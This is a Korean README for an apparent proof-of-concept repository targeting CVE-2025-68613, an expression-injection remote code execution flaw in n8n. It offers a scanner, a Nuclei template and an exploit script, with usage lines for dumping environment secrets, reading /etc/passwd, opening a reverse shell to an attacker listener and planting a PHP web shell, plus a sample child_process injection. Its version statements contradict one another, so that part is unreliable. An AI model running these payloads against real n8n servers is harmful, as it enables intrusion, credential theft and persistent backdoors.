
공개 PoC + 스캐너 및 CVE-2025-68613에 대한 연구: n8n 워크플로 자동화의 표현식 삽입을 통한 치명적인 RCE (CVSS 10.0). 탐지 도구, 전체 익스플로잇 및 복구 지침을 포함합니다.

CVE-2025-68613은 인기 있는 오픈 소스 워크플로우 자동화 플랫폼인 n8n에서 발견된 심각한 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 인증된 사용자가 서버에서 임의의 코드를 실행할 수 있게 하여, 잠재적으로 시스템 전체가 손상될 수 있습니다.
n8n은 사용자가 다음을 수행할 수 있는 오픈 소스 워크플로우 자동화 플랫폼입니다:
조직은 n8n을 사용하여:
IT 인프라에서의 이러한 핵심 역할로 인해 취약점은 특히 위험하며, 공격자에게 전체 네트워크 및 민감한 데이터에 대한 액세스를 제공할 수 있습니다.
이 저장소에는 취약점 탐지 및 악용 테스트를 위한 즉시 사용 가능한 도구가 포함되어 있습니다:
cve-2025-68613-scanner.py목적: 취약한 n8n 인스턴스를 악용하지 않고 안전하게 탐지
특징:
사용법:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**Output**:
- Exit code 0: 취약하지 않음
- Exit code 1: 버전 확인 불가 (패치되었거나 숨겨졌을 수 있음)
- Exit code 2: 취약한 버전 감지됨
### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Purpose**: 자동 취약점 탐지 및 기본 표현식 평가 테스트
**Features**:
- 유효한 인증 토큰 필요
- 표현식 삽입 기능 테스트
- Node.js 전역 컨텍스트(process.platform) 읽기 시도
- RCE 벡터 검증을 위한 테스트 워크플로 생성
- CVSS 10.0 치명적 심각도 분류
**Usage**:
nuclei -t CVE-2025-68613.yaml -u <target_url> -H "Authorization: Bearer "
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
```
### 3. 전체 익스플로잇: `exploit_cve-2025-68613.py`
**목적**: 여러 공격 페이로드를 포함한 완전한 개념 증명 익스플로잇
**기능**:
- 전체 인증 처리
- 여러 익스플로잇 페이로드:
- **info**: 시스템 정보 수집 (OS, 아키텍처, Node.js 버전, 현재 사용자)
- **cmd**: 임의의 시스템 명령어 실행
- **env**: 모든 환경 변수 추출 (자격 증명, API 키, 비밀 등 노출)
- **read**: 파일시스템에서 민감한 파일 읽기 (SSH 키, 설정 파일 등)
- **write**: 파일시스템에 파일 쓰기 (지속성, 백도어 등)
- **revshell**: 대화형 액세스를 위한 리버스 셸 연결 설정
- 자동 워크플로 정리
- 오류 처리 및 상태 보고
**요구 사항**:
- 유효한 n8n 사용자 자격 증명 (이메일/비밀번호)
- Python 3.6+ 및 requests 라이브러리
- 대상 n8n 인스턴스에 대한 네트워크 액세스
**설치**:```bash
pip install requests
chmod +x exploit_cve-2025-68613.py
```
**사용 예시**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
```
**작동 방식**:
1. 제공된 자격 증명을 사용하여 n8n에 인증
2. 표현식 주입 페이로드가 포함된 악성 워크플로우 생성
3. 페이로드가 `this.constructor.constructor()`를 사용하여 표현식 샌드박스 탈출
4. `process.platform` 또는 기타 Node.js API를 통해 페이로드 실행
5. 워크플로우 실행 결과 검색
6. 테스트 워크플로우를 삭제하여 정리
**종료 코드**:
- 0: 성공적인 익스플로잇
- 1: 인증 또는 익스플로잇 실패
---
## 취약점 기본 사항
### 문제는 무엇인가?
간단히 말하면: **n8n은 사용자가 워크플로우에서 표현식을 작성하여 데이터를 동적으로 처리할 수 있도록 합니다. 그러나 이러한 표현식은 적절한 샌드박싱 없이 평가되어, 공격자가 의도된 실행 컨텍스트를 벗어나 서버에서 임의 코드를 실행할 수 있습니다.**
### 핵심 문제
n8n에서 워크플로우를 생성할 때 "표현식"을 사용하여 데이터를 조작할 수 있습니다. 이러한 표현식은 제한된 환경에서 실행되어야 합니다. 그러나 이 취약점은 이러한 표현식이 기본 시스템에 접근할 수 있음을 보여주며, 공격자가 다음을 수행할 수 있습니다:
1. 시스템 명령 실행
2. 서버의 파일 읽기/쓰기
3. 환경 변수 탈취 (API 키, 비밀번호, 시크릿)
4. 데이터 수정 또는 삭제
5. 장기 접근을 위한 지속성 확보
### 왜 위험한가
- **낮은 진입 장벽**: 사용자 로그인만 필요 (특별한 관리자 권한 불필요)
- **광범위한 적용 가능성**: 많은 조직에서 비기술적 사용자가 워크플로우를 생성하도록 허용
- **높은 영향**: n8n 프로세스의 전체 권한으로 실행
- **데이터 접근**: n8n이 접근할 수 있는 모든 데이터에 접근 가능 (데이터베이스, API, 자격 증명)
- **네트워크 위치**: n8n은 종종 중요 인프라의 중심에 위치하여, 측면 이동 가능
---
## 기술 세부 사항
### 취약점 작동 방식
#### 1단계: 워크플로우 표현식 평가
사용자가 n8n에서 워크플로우를 생성할 때, 표현식을 사용하여 데이터를 처리할 수 있습니다:```
Input: User creates a workflow with an expression
n8n Expression Engine: Evaluates the expression
Expected Output: Processed data
Actual Output (Vulnerable): Expression execution context not isolated from runtime
```
#### 단계 2: 표현식 삽입
공격자는 의도된 샌드박스를 탈출하는 악의적인 표현식을 제작합니다:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
```
#### 3단계: 코드 실행
표현식이 적절한 격리 없이 평가되어 공격자가 다음을 수행할 수 있게 됩니다:
- 시스템 함수 호출
- 셸 명령 실행
- 파일 시스템 접근
- 환경 변수 읽기
### 근본 원인
이 취약점은 표현식 평가 엔진의 **불충분한 샌드박싱**에서 비롯됩니다. n8n 팀은 다음 컨텍스트에서 표현식을 평가했습니다:
- `require()` 또는 유사한 모듈 로딩 함수에 대한 접근 허용
- 시스템 API 접근을 적절히 제한하지 않음
- 표현식 구문을 검증하거나 필터링하지 않음
- 프로토타입 오염 공격을 방지하지 않음
- 실행 환경을 기본 Node.js 런타임으로부터 격리하지 않음
### 코드 실행 경로```
User Input (Workflow Expression)
↓
Expression Parser
↓
Evaluation Engine (VULNERABLE - Not Sandboxed)
↓
Direct Access to Node.js Runtime
↓
System Command Execution / File Access / Credential Theft
```
---
## 영향받는 버전
### 취약 버전 범위
다음 n8n 버전들 **0.211.0**부터 다음 버전까지 취약합니다:
- `0.211.0` → `1.120.3`
- `1.121.0`
### 패치된 버전
취약점은 다음 버전에서 수정되었습니다:
- ✅ `1.120.4` 및 이후 (1.120.x 브랜치)
- ✅ `1.121.1` 및 이후 (1.121.x 브랜치)
- ✅ `1.122.0` 및 모든 최신 버전
### 버전 확인 방법```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
```
---
## 테스트된 버전 및 호환성
### 확인된 작동
- **n8n v1.121.0**: ✅ 완전히 악용 가능 (RCE 확인, 표현식 주입 작동)
- **n8n v0.211.0 - v1.120.3**: ✅ NVD 기준 취약 범위 내 (개별 테스트되지 않음)
### 알려진 문제
- **REST 실행 제한**: `/rest/workflows/{id}/run` 엔드포인트가 v1.121.0에서 HTTP 500 오류 반환
- **해결 방법**: 표현식 주입이 완벽히 작동, RCE 확인됨:
1. UI에서 "테스트 단계" 버튼 수동 클릭 (작동 확인)
2. 워크플로우 출력 캡처
- **이는 API 제한이며 익스플로잇 버그가 아님**
### 테스트되지 않음
- **n8n v0.212.0+**: 문서화된 취약 범위 밖, 패치되었을 가능성 높음 (GitHub 이슈 #1 참조)
- **Windows Server 배포**: Windows 특화 환경에 대한 제한적인 테스트 데이터
### 버전 지원 설명
익스플로잇은 NVD에 문서화된 취약 범위를 대상으로 설계되었습니다:
- **확인된 취약 버전**: 0.211.0 ~ 1.120.3, 추가로 1.121.0
- **패치된 버전**: 1.120.4, 1.121.1, 1.122.0 이상
이 범위를 벗어난 버전을 테스트할 경우 성공이 보장되지 않습니다.
---
## 악용 메커니즘
### 공격자는 무엇을 할 수 있나요?
인증된 사용자(또는 유효한 자격 증명을 가진 공격자)가 이 취약점을 악용하면 다음과 같은 작업을 수행할 수 있습니다: